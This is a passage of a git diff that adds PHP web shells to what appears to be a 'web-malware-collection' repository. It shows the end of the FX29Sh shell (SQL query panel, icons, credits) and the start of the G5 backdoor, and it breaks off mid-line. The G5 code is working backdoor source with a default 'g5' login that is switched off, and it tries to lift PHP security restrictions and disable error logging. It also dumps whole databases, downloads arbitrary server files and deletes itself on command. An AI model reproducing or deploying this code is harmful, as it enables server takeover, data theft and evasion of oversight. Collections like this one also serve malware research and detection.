(!$sql_confirm)) {$sql_act = $sql_goto;} + + if ((!$submit) or ($sql_act)) { + + echo "<table><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; + + if ($tbl_struct) { + + echo "<td valign=\"top\"><b>Fields:</b><br>"; + + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + + echo "</td></tr></table>"; + + } + + } + + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + +} + +function mysql_create_db($db,$sock="") { + + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + + if ($sock) {return mysql_query($sql,$sock);} + + else {return mysql_query($sql);} + +} + +function mysql_query_parse($query) { + + $query = trim($query); + + $arr = explode (" ",$query); + + $types = array( + + "SELECT"=>array(3,1), + + "SHOW"=>array(2,1), + + "DELETE"=>array(1), + + "DROP"=>array(1) + + ); + + $result = array(); + + $op = strtoupper($arr[0]); + + if (is_array($types[$op])) { + + $result["propertions"] = $types[$op]; + + $result["query"] = $query; + + if ($types[$op] == 2) { + + foreach($arr as $k=>$v) { + + if (strtoupper($v) == "LIMIT") { + + $result["limit"] = $arr[$k+1]; + + $result["limit"] = explode(",",$result["limit"]); + + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + + unset($arr[$k],$arr[$k+1]); + + } + + } + + } + + } + + else { return FALSE; } + +} + +##[ END OF MYSQL FUNCTIONS ]## + + + +##[ IMAGES ]## + +function imagez() { + + $images = array( + + "home"=> + +'R0lGODlhEwAYALMJAH6+91OZ97zp/l6x/Y/V/iVr7DGQ/QwxyAEKpP///wAAAAAAAAAAAAAAAAAA'. + +'AAAAACH5BAHoAwkALAAAAAATABgAAASoMEkJwrwYAyEqyFkQcFwFTuJAkF1xDkExAARdAy4W4EUw'. + +'zwAALEfhFQy+5AAWmwwLUIN0OhPlBjLocSpdDgzYBLYnjXa/U1fMQD6auWzxMQBmn0XpBJ6OB6fs'. + +'cXwiPl5LBwgIdGqDhV4FiImBKV5CQQGQPjlgS0GVMJBfRD5BBDU1l4g+BxcGNqYEAQeHBasYBqW4'. + +'sLK1IAUcK7onFwWlOMIZB0THyxgRADs=', + + "buffer"=> + +'R0lGODlhGAAWALMJABo+qGql77zK4OPw+pXE9Tx33mOCxx5WzYyv4v///wAAAAAAAAAAAAAAAAAA'. + +'AAAAACH5BAHoAwkALAAAAAAYABYAAASbMMlJa0LFao0QMZslDMJFEEGhhtPgul4gFwebvK9BICnN'. + +'4oPOACU7HAAb3Gl4mtGQltfSdSI+AdAWVVlNGbHZmxTYVB3BUOCI2vR+AQaQZL1lz74GhEAgn48I'. + +'bCg0BwV7ewh9AgSGgEM9ASOGe32NiwFMAY0ukgZhU1WaOHxhE0tTQCR9GksIqHyqG4qnQbAsAkK0'. + +'NhsFiLq+NhEAOw==', + + "search"=> + +'R0lGODlhGAAXAKIEAHl5ecbGxqCgoOvr6////wAAAAAAAAAAACH5BAHoAwQALAAAAAAYABcAAANq'. + +'SLq88iK02UIM1kY67fgDhj3c4oGiKJRK9mUpycFpHQClHbw8zl2iEOjlo9SEw1DRuNsliaygMwlY'. + +'di7PgcDKUD2moW1utAVAHtUS9maGmLkOTBiudrJZk3Uaz4gQ6XUYe3wNb4CEiImKCQA7', + + "back"=> + +'R0lGODlhGAAYALMJAC9ILkesPbHdo3W0Zi2IJ+f141aOUTRoM4LKdP///wAAAAAAAAAAAAAAAAAA'. + +'AAAAACH5BAHoAwkALAAAAAAYABgAAASwMMlJq7046zSM/8YmeYNgFiZiHMdmCEVszoIaXscLpwhC'. + +'dy2LASETlAoBXw8xCFYMqNQuWesBK4OjkVgYLL8B52h2LCCS2WxgECAAJiteLNarMtduOEE678/P'. + +'bW8jBzVefigybIEUQz0BMF0EAZOTkm6CEgCNbFOUngR5FAdLazCAlKChomt3ASiolpiMB5OKbJZt'. + +'oLIVtJ6VuaoXAAepxbq7GcTFAMgbzM/NItLTGxEAOw==', + + "forward"=> + +'R0lGODlhGAAYAKIGAB9fHVu2T7nirIbKdjaXL+z36P///wAAACH5BAHoAwYALAAAAAAYABgAAAOc'. + +'aLrc/g1ICSsZIosRSGWXUGjaQAAfIY7Z4GIc+qgFy734+Qxsy2+BV8dBGPVeI04wEJAtfiSgSMCs'. + +'Og2AEu5Wo1Z1iuwGsymvChxCxynG1N7wWocAxmaCGVZcQKezYVVfPCNzJ1cBYzdMF4R9dWEwQkFy'. + +'hY8KF5KIaI6WYUGKS5ydYReBapxXDgBqpn0UH2Grjq+wDBMTtbm6uwsJADs=', + + "up"=> + +'R0lGODlhGAAXAKIGABxXG0irPrLeo3zFbzWFMOLz3v///wAAACH5BAHoAwYALAAAAAAYABcAAAOP'. + +'aLrc/jBKMoa4lRCp6C1XOASbNBQgVq1D6XipsAYs+RCoAFZ5QNMEQIOSq+hQO59PyAjoMEckauQL'. + +'MnBQaS5JYnZ2Tx6INu5ed5bRqUClmhcEEU3srlrhIZlsXSe8OxZ6K1NKJAFecIEshFV/CwBONRiN'. + +'dy9zFYVKGohDlz92AJw3mSRBohGhqaEcrK2uDgkAOw==', + + "help"=> + +'R0lGODlhGAAYAKIGADlqzKjA6O3x932d3rPk/12Byv///wAAACH5BAHoAwYALAAAAAAYABgAAAOa'. + +'aLor7ixK8+qb0eqLN/mENVlfYJpDUEkPMaSh474xwbTvsA3AEN8CV6GgEhR6Dh5SEFA8BkeASgmQ'. + +'Aa4/igMQvXoLjoBXJ3AGu95rMQ0ua8Vpb5HKhWgJ8SsZfbVb8ypwaWRmRoACdHp2Wol5aTINW3Ep'. + +'fHtAgn1MbByRmnKIXw8FLE9fV0ScEkVhKSYrGAqrG02wEa6stbm6CQA7', + + + + "change"=> + +'R0lGODlhEAAQALMMADMuME2f58e2ON7OMsXZ88wpTd/t/FhYU4x9erCwrIWSpW54iwAAAAAAAAAA'. + +'AAAAACH5BAHoAwwALAAAAAAQABAAAARckMlJ6wQn6wMsW0QoBktXLUaaEkHAIYiJqiuhFAUg0yqR'. + +'IAKdZMYzIAacCbGXEAyEQ0IvlEAeKCCDVJpompRbkUJzEokBi0XZTFgoCFfKwa1Q0NNxCmazz3v+'. + +'DBEAOw==', + + "delete"=> + +'R0lGODlhEAAQAKIGAJIMJNMHLckjQURDQ2oqNigoKAAAAAAAACH5BAHoAwYALAAAAAAQABAAAANP'. + +'KDHW/k4JBiuRFI5pilBE8RQX12yBIHYfMGTeNxQoMVfbJ7gZ5AWpV8VBU6SGkVSpR7zwdISKURgz'. + +'dS4B2yMXMgyAWo2OBGQ6cq+NmbhJAAA7', + + "download"=> + + "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". + + "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". + + "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", + + "setup"=> + + "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". + + "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". + + "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". + + "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". + + "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", + + "small_dir"=> + +'R0lGODlhDwAQALMPAAkJCXV3iEFvz5it4MXV8lFkqXaU2au+6EtMViQkJYGGq2JjcUFhunN3ljc3'. + +'OQAAACH5BAHoAw8ALAAAAAAPABAAAARuEKDVVEsv64wO+UfjOBO1AM2nHsbQGkaDDCo43EdOVPW9'. + +'ErmFgjDI6YyHm7AINN5cMESgSH3CBAKGo9GCwgxYrHbx/YbDYwEYfEY7Fu149s2QZxkFRQJRR+Mb'. + +'AQsOAA98DH8NggCEGgmAiowbGREAOw==', + + "small_unk"=> + +'R0lGODlhEAAQAKIHABpFnoap3bTL89vq/FuCvVZlhH6Ms////yH5BAHoAwcALAAAAAAQABAAAANL'. + +'eBfcrVCFQetgJS5bA/nRxFlGJlUFoBICZUDi6gGsYG5DWqntLZI8G4xDCApPHeMR5wL8lgbSE9rq'. + +'OavUqurngTm+ntuhQC6byYcEADs=', + + "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". + + "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", + + "sort_asc"=> + + "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". + + "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", + + "sort_desc"=> + + "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". + + "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", + + "ext_asp"=> + + "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". + + "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". + + "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", + + "ext_mp3"=> + +'R0lGODlhEAARALMPADE8XE6ekMSuNMDW7M1IRGRoZOXs9Ki31Y2HW3PEiFl2u19RX4ajzNmCeuew'. + +'pwAAACH5BAHoAw8ALAAAAAAQABEAAASI8D1Gqy0yM8O7GRSmeR2oKOJEcgN4oJJyNExSD197iAjS'. + +'OI2EkIFrYQqN3+cgRBA/iwLhh+MwE4HDYLeYGg4MLTNQCBi7joECcKKQC9tCV7tmhwoALV5BPMnA'. + +'PXk7BSc5LA4CCAUHXCcHHogChIwYbG2RkgVhOxKWCggCkgCafCkAp6inBaurEQA7', + + "ext_avi"=> + +'R0lGODlhEAAQALMMAAUFBY2OkM7T2UpKSqWoq+zz/GhoaSQkJLW4u1paWnp6ejY3NwAAAAAAAAAA'. + +'AAAAACH5BAHoAwwALAAAAAAQABAAAARdkMkpgVGH6poIwttkeQUBbqNQrGZGjYG6lobLWAoixHOw'. + +'GByDbpUrAQ6K2+AoW/0OyOMy4GtioozBgsAaqBDa08AwoxHCgMmPRzSM05R17x2SBxKn+uUCD0nW'. + +'fRoRADs=', + + "ext_cgi"=> + +'R0lGODlhEAAQAKIHAEhJS+q8D/7dNfnulpR/U5pqCtS5eP///yH5BAHoAwcALAAAAAAQABAAAANT'. + +'eLpX/K9ISItwlElBcG5BMEFSGYolVgzsYAih0Q5FF7IwjAcdcRCE021wKQB8CqCQRQAcH4SXYOck'. + +'EQUy2DMSMmaBEWITSBAjFZLxAliDghlkRQIAOw==', + + "ext_cmd"=> + + "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". + + "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". + + "dmrYAMn1onq/YKpjvEgAADs=", + + "ext_cpp"=> + + "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". + + "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". + + "Eq7YrLDE7a4SADs=", + + "ext_ini"=> + + "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". + + "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". + + "SnEjgPVarHEHgrB43JvszsQEADs=", + + "ext_diz"=> + +'R0lGODlhEAAQAKIHAAsZcWyPv7vT6eb0/ThOi1tukZyyy////yH5BAHoAwcALAAAAAAQABAAAANS'. + +'eHrTLiu6IYh5chZAJlRTI4RDcIyacXkF6gAcWaxPLFJzaNhoZYyoXQcoCMwErgCHuFP8kEVjAGkg'. + +'FBaqJ9CgvEYOBQK06/0qjlazuSBVr8uLBAA7', + + "ext_doc"=> + + "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". + + "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". + + "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", + + "ext_exe"=> + + "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". + + "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". + + "xhIAOw==", + + "ext_h"=> + + "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". + + "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". + + "Wq/NknbbSgAAOw==", + + "ext_hpp"=> + + "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". + + "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". + + "UqUagnbLdZa+YFcCADs=", + + "ext_htaccess"=> + + "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". + + "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". + + "AAA7", + + "ext_html"=> + +'R0lGODlhEAAQALMOAIyt016Itv///2Gp4uXy/c3P/MXl/mtrnC6Z4mfd/Chgk7PO9lBVhnNzc///'. + +'/wAAACH5BAHoAw4ALAAAAAAQABAAAASF0EkHqq1h6nuzloAgjkIwfJRIFJVxFMgHDGYQCMihe46d'. + +'/IiBIEEQFA4SkwHBZAaKK2RPAFAACM0nwTUFMAeD5mFBWCCpTIV6rSCbKQkFQpEw2A1lw4LRa84X'. + +'cn96fAg4gQgJAwwAensOAyFzCgyTAAsFgxKQAywVBZcGn3wTDKWlDaamEQA7', + + "ext_jpg"=> + +'R0lGODlhDgAQALMMACYlIC6NFLOxKnqIcbPIikWoIkVFRWllROLZUmO8NqKmoBBxCAAAAAAAAAAA'. + +'AAAAACH5BAHoAwwALAAAAAAOABAAAARbMKxJ6zw2iGQHFSACCpQ3CWJISmaBCsABcouJiECOIkVg'. + +'7gadiBXoAXc9X/LGRBASvUEPmiA4qUXpFPpMZrHQojchJZjDVOpgoGib3+82W8Gu0+nrGD2Y4wcN'. + +'EQA7', + + "ext_js"=> + +'R0lGODlhDwAQAKIEAB4eHZ6eaOLih2BgWQAAAAAAAAAAAAAAACH5BAHoAwQALAAAAAAPABAAAANP'. + +'SAoR8nAARcZ4rQkr68VCI1nTB4Vj0H1iALzwpIUY3FXOKb4UwYSqDODmY+ROREtmkEFNhqKRyfV7'. + +'SFzHEQR62qSAnBxJoVSlxhRJLEZJAAA7', + + "ext_lnk"=> + +'R0lGODlhEAAQAKIHAAAFACOPE2TNNj60IQRKAojuVgdlBAAAACH5BAHoAwcALAAAAAAQABAAAANO'. + +'eGfcbkCpQOu4AkZlLM5AKHlCqW3TVw4hmqqlKB3UKhQF6AZ2ibM7Ew+Xk6UIoQAROAsgQ4RbIWBc'. + +'tBbSq0RruD1dB1S3BZ5ZteYZ2ZwAADs=', + + "ext_log"=> + + "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". + + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". + + "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", + + "ext_php"=> + +'R0lGODlhEAAQAIABAP///////yH5BAHoAwEALAAAAAAQABAAAAIohI8Jwe0Po5wNsRWWxbl3blSe'. + +'VmHmMWZouj2md7kxB8cfhec6pPRHAQA7', + + "ext_pl"=> + + "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". + + "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", + + "ext_swf"=> + + "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". + + "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". + + "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". + + "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". + + "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", + + "ext_tar"=> + +'R0lGODlhEAAQAKIFABokHymwoKiYkKIYbdzo4wAAAAAAAAAAACH5BAHoAwUALAAAAAAQABAAAAM4'. + +'CLrcJVCMSesAJJOhY7waAUgWhWljo67rE7FMGGhzYNtnNt48HsJAlgsSzIlovYAxlfShBMVoIQEA'. + +'Ow==', + + "ext_txt"=> + +'R0lGODlhCwAQAKIFACoqKqCeoO/z83d2brO2vwAAAAAAAAAAACH5BAHoAwUALAAAAAALABAAAAM5'. + +'CLM8MSBIJwNZJAhNRBdDR3xCCYqkGXppuZrwuVWj21mVJo+jZG812Cv288VWD+KQtQA4m4CCdJoA'. + +'ADs=', + + "ext_wri"=> + + "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". + + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". + + "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", + + "ext_xml"=> + + "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". + + "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + + "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". + + "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". + + "IQA7" + + ); + + return $images; + +} + +function sh_name() { return base64_decode("RmFUYUxpc1RpQ3pfRnggRngyOVNoZUxMIHY=").sh_ver; } + +function fx29sh_tools() { + + echo "<div class=\"barheader\">.: TooLz :.</div>"; + +} + +function fx29sh_about() { + + echo "<div class=\"barheader\">.: Credits :.</div>". + + "Idea, leader & coder: <b>tristram [CCTeaM]</b><br>". + + "Beta-tester & tips: <b>NukLeoN [AnTiSh@Re tEaM]</b><br>". + + "Re-coder, Designer, Windows Fix, PHP Mailer & PHP Filesystem: <b>kaMtiEz [KiLL-9 Crew]</b><br>". + + "<br>". + + "Please report bugs to <a href=\"mailto:rio_rizaldy@yahoo.com\">FaTaLisTiCz_Fx</a></b>\n"; + +} + +function html_style() { + +$style = '<html> + +<head> + + <style> + + table {width: 100%;border-collapse: collapse;} + + #main, #maininfo {width: 900px;} + + body, table, input, select, option, .info + + { + + font: 8pt tahoma; + + } + + .footer {font: 7pt tahoma;} + + textarea, .code + + { + + font: 8pt Courier New; + + color: #dedbde; + + border: 1px solid #666666; + + } + + img {border: 0;} + + #maininfo img {width: 16;height: 16;} + + input, select, option {border: 1px solid #606060;} + + #maininfo, td, th {border: 1px solid #3F3F3F;} + + a {color: #5B5BFF;text-decoration: none;} + + #pagebar a, .barheader a {color: #00FF00;} + + a:hover, #pagebar a:hover {color: #3366FF;} + + .on {color: #00FF00;} + + .off, .errmsg {color: #FF0000;} + + body, table, input, select, option {color : #EEEEEE;} + + .info th {color: #969696;width: 13%;} + + .shell {font-size: 12;color: #C0C0C0;border: 0;} + + #pagebar a, .barheader, .errmsg, .on, .off + + { + + font-weight: bold; + + } + + p, form, .info, .info td, .info th, .explorer * + + { + + margin: 0; + + } + + input, #maininfo {margin: 3px;} + + #mainpanel input, #mainpanel select + + { + + margin: 0px 2px 0px 2px; + + } + + #maininfo table, select {margin: 2px 0px 2px 0px;} + + #pagebar, .bartitle, #mainpanel {background: #474747;} + + body, textarea, .shell, input, select, option + + { + + background: #000000; + + } + + .info, .info th, .info td, input[type="label"] + + { + + background: transparent; + + border: 0; + + } + + #pagebar td, #mainpanel td, #mainpanel th, .contents th, .explorer td + + { + + border-left: 0; + + border-right: 0; + + } + + .bartitle, .barheader, input[type="submit"], input[type="button"], input[type="reset"] + + { + + color: #D0D0D0; + + background: #3F3F3F; + + border: 1px solid #202020; + + border-top: 1px solid #505050; + + border-left: 1px solid #505050; + + } + + input[type="submit"]:hover, input[type="button"]:hover, input[type="reset"]:hover + + { + + color: #00FF00; + + background: #333333; + + } + + td, .info th {vertical-align: top;} + + .explorer td {vertical-align: middle;} + + .fleft {float: left;} + + .fright {float: right;} + + .code, .fleft, .info th {text-align: left;} + + .fright, input[type="label"], #mainpanel th, .contents th + + { + + text-align: right; + + } + + #maininfo, .bartitle, .quicklaunch, .quicklaunch a, .barheader, th + + { + + text-align: center; + + } + + td, textarea, input[type="text"], .bartitle, .barheader, .code, th + + { + + padding: 3px; + + } + + .info th, .info td {padding: 0px 2px 0px 2px;} + + .quicklaunch a {padding : 0px 5px 0px 5px;} + + </style> + + + + <title>'.getenv("HTTP_HOST").' - '.sh_name().'</title> + + + +</head> + + + +<body><center> + + + +'; + +return $style; + +}; + +function html_header() { return "<b>".sh_name()."</b><br>.: a little piece of heaven :."; } + +function html_footer() { return "&copy; 2008 By kaMtiEz, KiLL-9 CreW. Generated: ".round(getmicrotime()-starttime,4)." seconds"; } + +function disp_error($msg) { echo "<div class=errmsg>$msg</div>\n"; } + +function srv_info($title,$contents) { echo "\t\t\t<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n"; } + +function srv_software($surl) { + + $srv_software = getenv("SERVER_SOFTWARE"); + + if (!ereg("PHP/".phpversion(),$srv_software)) { $srv_software .= ". PHP/".phpversion(); } + + return str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\">PHP/".phpversion()."</a>",htmlspecialchars($srv_software)); + +} + + + +######################## + +##[ END OF FUNCTIONS ]## + +######################## + +chdir($lastdir); fx29shexit(); + +########################## + +##[ FeeLCoMz Community ]## + +########################## + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/G5.php b/web-malware-collection-master/Backdoors/PHP/G5.php new file mode 100755 index 0000000..4ec22b3 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/G5.php @@ -0,0 +1,1555 @@ +<?php +/** + .-"""-. + / .===. \ + \/ 6 6 \/ + ( \___/ ) + ______________ooo__\_____/__________________ + / \ +| Hi All | +| $3ll: G5 (W.DLL) version 1.6 | +| author: Piaster (wadelamin) | +| Offical: http://piaster.blogspot.com | +| E-mail: w.dll@live.com | +| copyright: 2010-2011 Piaster. | +| Page: www.facebook.com/Pias.Piaster | + \___________________________ooo______________/ + | | | + |_ | _| + | | | + |__|__| + /-'P'-\ + (__/ \__) +//--------------------------------------------/*/ +$access = 0; //if you don't wont anybody to access this file set $access=1 +$USR = "g5"; //User +$PWD = "g5"; //PWD +$color = 'black'; //#993333 #333333 style color +$style = 'x4';// default x4 to change to orange style set var x5 +//--------------------------------------------------------------- +if($access==1){ +if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$USR || $_SERVER['PHP_AUTH_PW']!==$PWD){ob_end_clean();header('WWW-Authenticate: Basic realm="Piaster"');header('HTTP/1.0 401 Unauthorized');exit("<b><a href=http://www.w-dll.com>Piaster</a> : Access Denied</b>");}} + +session_start(); +@set_time_limit(0); +@ini_restore("safe_mode"); +@ini_restore("allow_url_fopen"); +@ini_restore("open_basedir"); +@ini_restore("disable_functions"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("safe_mode_include_dir"); + + +@ini_set('error_log',NULL); +@ini_set('log_errors',0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$php = $_SERVER["PHP_SELF"]; +if(version_compare(phpversion(), '4.1.0') == -1) +{$_POST = &$HTTP_POST_VARS; +$_GET = &$HTTP_GET_VARS;} +$tl=7; + global $loc,$pass,$port,$user,$db; + +if($_GET['kil']=="me"){ +@unlink(getcwd().$_SERVER["SCRIPT_NAME"]); +} +$loc = 'localhost'; + +define('db',htmlspecialchars($_POST['sqdbn'])); +define('pass',htmlspecialchars($_POST['sqpwd'])); +define('loc',htmlspecialchars($_POST['sqsrv'])? htmlspecialchars($_POST['sqsrv']):$log); +define('port',htmlspecialchars($_POST['sqprt'])); +define('user',htmlspecialchars($_POST['sqlog'])); +define('style',$style); +global $log; +$log = @mysql_connect(loc,user,pass); +$select = @mysql_select_db(db, $log); +//$log = @mysqli_connect($loc,$user,$pass,$db,$port); + +if(isset($_REQUEST['dumd'])){ +$dt = date("Y-m-d");$db = $_POST['sqdbn'];$han = "WDLL-$db-$dt";$dmt = $_REQUEST['sqldp']; +if ($dmt=='SQL'){$han="WDLL-$db-$dT.sql";$fp=fopen($han,"w");}else{$han="WDLL-$db-$dt.sql.gz"; +$fp = gzopen($han,"w");} + +$tb = @mysql_query ("SHOW TABLES"); +while ($X = @mysql_fetch_array($tb)) { +$X = $X['Tables_in_'.$db];$mf = @mysql_fetch_array(@mysql_query ("SHOW CREATE TABLE ".$X));rt($mf['Create Table'].";\n\n");$sql = @mysql_query ("SELECT * FROM ".$X); +if (@mysql_num_rows($sql)) {while ($row = @mysql_fetch_row($sql)) {foreach ($row as $v => $w) { +$row[$v] = "'".@mysql_escape_string($w)."'";}rt("INSERT INTO $X VALUES(".implode(",", $row).");\n");}}} +if ($dmt=='SQL'){fclose ($fp);}else{gzclose($fp);} +header("Content-Disposition: attachment; filename=" . $han); +header("Content-Type: application/download"); +header("Content-Length: " . @filesize($han));@flush(); +$fp = @fopen($han, "r");while (!feof($fp)){echo @fread($fp, 65536);@flush();} @fclose($fp); } + +if (isset($_REQUEST['dWNf'])||isset($_REQUEST["download"]) && $_REQUEST["download"] != @basename($_SERVER["SCRIPT_FILENAME"])) +{if(isset($_REQUEST['dWNf'])){$file = htmlspecialchars($_POST['dWn']);}else {$file =$_REQUEST["download"];} +header('Content-Length:'.@filesize($file).''); +header('Content-Type: application/octet-stream'); +header('Content-Disposition: attachment; filename="'.$file.'"'); +if(function_exists('readfile')){@readfile($file);}else @file_get_contents($$file);} +if (!empty($_POST['goto'])) { @chdir($_POST['goto']); $path = @realpath($_POST['goto']);} +if(isset($_GET['dir'])&& !@is_file($_GET['dir'])){$path =@chdir(base64_decode(htmlspecialchars($_GET['dir'])));} +if($dir){@chdir($_POST['dir']);} +else {$path = @realpath(".");} +$path = @realpath("."); + +if(!$win){ +define(path,$path);}else + {$mxpath = str_replace('\\','/',$path); +define(path,$mxpath.'/');} +function curc(){ +$crk = @get_loaded_extensions(); +if(@in_array("curl", $crk)){return true;}else {return false;}} + +if(isset($_REQUEST["sqconf"]) or isset($_REQUEST["msq1"])){head('black');} +else {head($color);} // ^_^ +if (isset($_REQUEST["action"]) && $_REQUEST["action"] != @basename($_SERVER["SCRIPT_FILENAME"])){ + $fa = stripcslashes(htmlspecialchars($_REQUEST["action"])); + $fa = urldecode(base64_decode(str_replace("\\\\","\\",$fa))); + ;echo "<center><br><br> <p align=\"center\"><a href=\"javascript: close()\">Close</a></p><table border =\"1\" bgcolor =\"black\"><tr><td><font color =\"red\"><b> File Path: </font> " .$fa. "</td><tr><tr><td><font color 